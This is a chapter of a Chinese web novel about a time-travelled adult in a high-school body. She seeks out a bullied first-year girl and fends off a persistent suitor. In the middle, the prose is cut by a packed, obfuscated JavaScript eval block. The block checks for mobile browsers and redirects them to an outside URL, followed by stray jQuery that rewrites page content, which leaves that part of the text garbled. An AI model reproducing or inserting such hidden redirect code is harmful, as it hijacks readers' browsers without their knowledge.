今昭脚步一顿，强装镇定：“为什么这么问？”
“在你身上，我看到了远超同龄人的成熟。”
“我只是站在旁观者的角度看问题。有句话说得好：‘当局者迷，旁观者清’。”
成裕视线停留在今昭身上几秒：“你说得有道理。”
教学楼下，今昭道谢：“老师，今天谢谢你。”
“你帮过她一次又是女生，我认为周同学更愿意和你交流，之后有需要随时可以来找我。”
“好，谢谢老师。”
午休时，今昭想去高一教学楼碰碰运气，看能不能遇到周晗。结果没等来周晗倒是等来小团体里高马尾的女生，依稀记得叫沈韵。
今昭本不想和她搭话，她倒先找上门来。
“有事吗？”
“学姐，今早你是为了周韵来的吧。”
今昭没理她。
“学姐，你可真乐于助人啊，病刚好就来学校。不过学姐，我劝你还是离周韵远点，她不是什么好人。”
“你乱说什么呢？”
“她没爸，她妈也是个开早点店的，我们班可是有人亲眼看到她上了一个老男人的豪车，你说这是不是所谓的……包养？”
“证据呢？有视频吗？光凭一张嘴你们就认定她不是什么好人？这是造谣你知不知道，是犯法的。”
“学姐，我可没造谣，是陈述事实，算了，只是好心提醒你，你要不信也没办法。”
今昭根本不信她的一面之词，工作这么久，深知“造谣一张嘴，辟谣跑断腿”这一理论，凡事都得讲究证据。
临近上课，还是无果，今昭先回班了。中午为了来堵周晗，午饭就随便吃了两口，代价就是，下午第二节刚下课就饿了。
“走，小卖部走起。”是对叶梓和高幸说的。
逛了一圈，为了快速且顶饱，今昭买了当社畜时几乎天天会吃到的东西——即食面包。
看了眼手表，离上课还有五分钟。叶梓她们还在逛，今昭道：“我先去付钱，在外面等你们。”
付完钱，今昭来到门口，小卖部里面人挤人，终于可以喘口气，来到人少的拐角处。
撕开包装，把吐司折成一小块，再一口闷，是今昭惯用的方式。
糟糕，忘记买水了，平时是一口闷加一口水，灌进去。
差点要噎住，面前有人递来一瓶牛奶，还轻轻拍着今昭的背，想也没想，接过、喝下、咽下，活过来了。
“谢谢。”抬头，瞳孔中倒映出谢妄那眉眼含笑的神情。他今天穿了件灰色卫衣，校服随意穿在外面，袖子摞到手腕处。就很放荡不羁。
是褒义词。
谢妄收回拍后背的手，调侃道：“你吃面包的方式很独特。”
“谢谢夸奖。”
“吃这么急，中午没吃饭吗？”
“算没吃吧。”口中最后点面包咽下，“这瓶奶多少钱？我给你。”
“要算的这么清楚吗？”
今昭没注意他说了什么，因为看到叶梓她们出来了，急忙从口袋掏出张五块，直接塞到他手里，“这给你，谢谢啊。”还没说完，就走了。
谢妄看着手里的五块。
气笑了。
早知道就不为了看她来一楼上厕所，看她来小卖部也跟着一起来，看她拿了面包，鬼使神差的，觉得她缺一瓶奶，就买了。
不知怎的，突然想到第一次见面，递给她一瓶水。
晚上吃饭时间，今昭决定再去一次，就不行这个邪。
这次今昭连饭都没吃，一下课就朝高一教学楼走去，在楼下蹲点。
为什么不上去？原本今昭想着是直接上去找周晗的，但想到她是被全班人孤立，直接上去，肯定会被班上人看见，这样一来，可能打扰到她的生活。
今昭更想在楼下逮住她。然后带她去人少的地方和她好好聊聊。
“你在这做什么？”
怎么哪哪都能碰到他。
今昭扫了眼谢妄和他旁边的朋友，注意到他们手上都拿着车钥匙，想起来高一教学楼是在去车库的必经路上。
“跟你没关系。”
谢妄也没多问，让朋友先去前面等下，几个朋友相视一笑，走远了，“我要出去，要不要给你带点吃的。”
才下课几分钟，她就在这。
谢妄不用想都知道她肯定又没吃饭。
今昭摆摆手，“不用，你赶紧去吧。”
谢妄没说话，垂下眼眸，轻叹声，抬眼，语气有点无奈。
“行，我先走了。”
终于把这个麻烦给弄走了。
看了眼手表，时间过半。周晗没出现。
再等十分钟，十分钟要还不出现就算了，明天再来。
“给你。”
怎么又是他。
“你不是去吃饭了吗？”
“吃完了。”他把东西递到今昭面前。
诱人的香气扑面而来。是里脊肉饼，看这包装，是今昭最喜欢的那家店，离学校不远，但每次去人都特别多，需要排很久的队。
好久没吃了。
再怎么说今昭也是28岁的成年人，这点理智还是有的，这要吃了，就欠他一个人情。
忍心拒绝，“我不饿，你吃吧。”
咕噜咕噜——
不争气的肚子适时出声。
这无疑是在告诉谢妄她想吃。
气氛有一丝的尴尬，寂静几秒，这份诡异的气氛被谢妄没忍住的笑打破。
“不许笑。”活了二十八年，今昭第一次有想当场刨个地洞，钻进去的冲动。
“你吃了我就不笑。”
“真的？”
“嗯，说到做到。”
里脊肉饼的香气像是迷药，控制今昭的思想。
欠人情就欠吧。
二人来到池塘这。
冬天天黑的早，才六点，天空暗下大半。
今昭打开包装，炸得金黄酥脆的馍饼包裹着焦香的鸡柳，鸡柳外裹满了孜然，再加上番茄酱的酸甜，一口下去，焦香酥脆。吃到最后，有些腻的时候，馍饼最里面的黄瓜、生菜是解腻神器。
几口，今昭已吃下大半，谢妄递来一杯热奶茶。
正好有点噎，“谢谢。”
吃完最后一口，谢妄又递过来一张纸。
今昭狐疑接过，擦干净后，暗暗说句：“你是哆啦A梦吧。”
“可以是你的。”
今昭警惕扫了扫他几眼，有时候，他真应该感激他爸妈给他生了张帅脸，但凡换一个人说这句话，早就吐了。
“打住，可以了。”今昭起身拍了拍身上，“走吧，该回去了。”
想到些什么，今昭道：“刚刚那个饼和奶茶多少钱，我给你。”
“不需要。”
今昭就知道他会这样，想了想，“那这样吧，就当我欠你个人情，之后有什么事，只要不太过分，都可以找我。”
“你这意思是，可以实现我一个愿望？”
今昭觉得差不多是这个意思，“嗯。”
“这个我接受。”
晚自习，今昭有一瞬的走神，她该好好想想怎么处理谢妄这个麻烦。
如果在现实世界，有个这样的帅哥说“喜欢你。”今昭大概率会同意。
可是这不是现实世界。
今昭迟早都会回去。
同意他的告白，今昭害怕会对这个世界有留恋。
谢妄今年高二，虽然很不想承认，但在这关键时候谈恋爱就是会影响学习。今昭回去依旧是沪海市的牛马。而谢妄不同，他就是这个世界的人，他需要高考。
既是对他的不负责，也是对自己的。
面对他的告白，最好的方式还是逃避，遗忘。
一天无果，连周五也是。
连续两天的蹲点失败，算了，周一的体育课和她同一节，到时候找也行。
这周补习班原本是取消的，不过今昭觉得在家待着也无聊，干脆去上。临时说要去，只有周六上午这一时间段时空的，不得已，今昭得早起去上。
七点多的天差不多亮了，但有点雾蒙蒙的。围巾把今昭整张脸包裹的严严实实，只留双眼睛在外面放哨。
时间还早，今昭随意选了人较多的早餐店。
蒸笼的热气笼罩整个店铺，今昭看了看那贴在桌上，染上了各种陈年污渍的菜单。
“老板，给我来两个粉丝包。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546809|204182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“好，来了，两块。”
交钱的时候今昭愣住，这人不是周晗吗！
“周晗！”
女生明显怔住，收钱的手顿住。
看女生没反应，以为是没认出自己，将遮住大半张脸的围巾向下扯了扯，露出整张脸，“我，不记得了吗？”
热汽虽遮挡些视线，但还是看得清，周晗试探性问：“学姐？”
“对是我，我有事想和你说，你什么时候有时间呀？”
“有没有人来收下桌子。”店里客人喊道。
周晗利落拿起抹布，“我现在有点忙。”
今昭赶忙道：“十点多我再来找你可以吗？”
周晗也只是点点头，就赶忙拿着抹布去收拾。今昭将两块钱发在桌上，就离开了。
这两个小时今昭都心不在焉的，时不时看一下手表。
徐老师看出今昭有心事，问：“没睡好？”
今昭回过神，“没。”
“那就是有心事。”
今昭：？
不愧是有教资的，一看一个准。
徐老师笑笑：“这道题以你的实力要不了五分钟，今天你却做了十分钟还没做出来。”
被一语道破，今昭尴尬地挠了挠头：“是有。”
“如果自己不能解决，可以说出来。”
今昭想了想，还是说，“我可以解决。”
“有了解决方法，就不要多想，什么时间做什么事，你说对不对。”
“嗯，我知道了。”
两个小时过得很快，一下课今昭就往早餐店赶。
透过店门，今昭看见周晗在收拾店铺，选择在外面等她空闲了再进去。
今昭坐回电瓶车上，时不时回头看一眼。她好像一直都很忙。
早上起得太早，等久了今昭有点昏昏欲睡的趋势。
“学姐。”递过来一瓶热牛奶。
今昭瞬间清醒，站起身，接过牛奶，“谢谢。”又往她身后看去，“你结束了吗？”
“嗯，差不多了，不过等下应该还会有一批客人。”
今昭明白她的意思，“就一会，不会耽误你太长时间的。”
今昭跟周晗进了早餐店，周晗妈妈还在和面，看到今昭，脸上扬起笑，下意识的擦手，“小晗，这是你朋友吗？”
“嗯，这是高二的学姐。”周晗耐心介绍。
“阿姨好，我叫今昭。”
“好好，今昭你饿不饿，想吃点什么？别客气，这还是小晗第一次带朋友回来呢。”
今昭扬扬手里的牛奶，“不用了阿姨，周晗给了我这个。”
“妈，我先带学姐进去，忙不过来就立马来叫我。”
“好，你们好好玩。今昭，有什么想吃的随时说，叫小晗拿给你。”
“好，谢谢阿姨。”
店的最后还有一道门，开门进去，里面是一个四四方方的院子，不大，却收拾的井井有条。
周晗带今昭进了自己房间，几平米的卧室很温馨，窗台上的郁金香好似告诉来这的客人，这里的主人很热爱生活。
周晗招呼今昭坐下，问：“学姐，那天谢谢你。你没事吧？身体好了吗？”
“已经好了，没什么事。”
周晗点点头。“学姐，周四的数学课是你有意为之吧。”
被戳破，“嗯。”
“我在班里的处境不是很好，学姐你应该早就看出来了。”
今昭没说话，意为默认，指腹轻轻摩挲着牛奶瓶。
“他们是不是说我家是开早餐店的，还说我被金主包养。”
这句话落，今昭皱起眉头，反驳道：“不犯法，凭自己手艺吃饭没什么丢人的。至于被金主包养，只要没有完整的证据，我都不会相信。”
周晗深深看了今昭一眼，低下头，几秒过后，是几声抽泣。“学姐，你知道吗？你是第一个和我说这些话的人。在学校里，他们都不理我，我真的很讨厌一个人，所以我从来不出去，一直坐在座位上，就连体育课，都成了我最讨厌的课。”
透过她，再一次看到了自己，学生时代的今昭，讨厌孤独、讨厌体育课、讨厌那些贬低他人、靠着揭人短处为乐的人。